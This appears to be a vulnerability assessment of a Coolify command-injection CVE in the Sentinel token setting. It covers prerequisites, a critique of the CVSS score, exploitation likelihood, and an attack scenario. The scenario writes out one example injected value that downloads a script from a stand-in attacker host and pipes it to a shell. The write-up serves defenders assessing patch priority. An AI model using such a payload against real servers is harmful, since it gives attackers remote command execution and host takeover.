Coolify CVE-2026-34034

Requires an authenticated Coolify account with permission to view and modify a target server's Sentinel monitoring settings (the sentinel_token field), and the Sentinel monitoring agent must be in use on that server. The injected command does not execute immediately - it fires only when the Sentinel service is (re)started, so exploitation also depends on a Sentinel restart occurring (attacker-triggered or operational). Limiting factors: this is not exploitable pre-authentication or by low-trust users, since editing server Sentinel configuration is a privileged/administrative action in Coolify; single-operator instances where the only settings-editor is already the host owner face no meaningful privilege boundary crossing. Only Coolify versions before 4.0.0-beta.466 are affected.

The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, 8.8) frames this as a high-severity, low-complexity, network-reachable flaw requiring only low privileges. In practice the meaningful gate is authorization: an attacker must already hold an authenticated Coolify account with permission to edit a server's Sentinel settings - typically an admin/server-management role, not an anonymous or low-trust user - which materially lowers real-world exposure below what 8.8 alone suggests (I independently assess this closer to PR:H / ~7.2). EPSS was not provided, there is no POC referenced, and the CVE is not in CISA KEV, so there is no evidence of active or automated exploitation; the disclosure came via a GitHub security advisory (GHSA-rpr8-p7jc-x844). The one signal that raises priority is the impact ceiling - successful exploitation is full host command execution - combined with low attack complexity once the prerequisite access is held. Net: a genuine and worth-patching post-authentication privilege/host-takeover issue for anyone exposing Coolify to multiple or semi-trusted operators, but not an unauthenticated internet-wide emergency. No conflicting signals in the data other than the PR:L-vs-likely-privileged-role nuance noted above.

A malicious or compromised Coolify user who holds server-management rights opens a managed server's Sentinel settings and sets the token to a value such as xcurl http://attacker/x.sh|sh (or a $()/; payload). When Sentinel is next restarted - either by the attacker triggering it or during normal operations - the payload is expanded by the host shell and runs attacker-chosen commands on the server. No public exploit code is currently referenced, but the injection is low-complexity for anyone with the required settings access.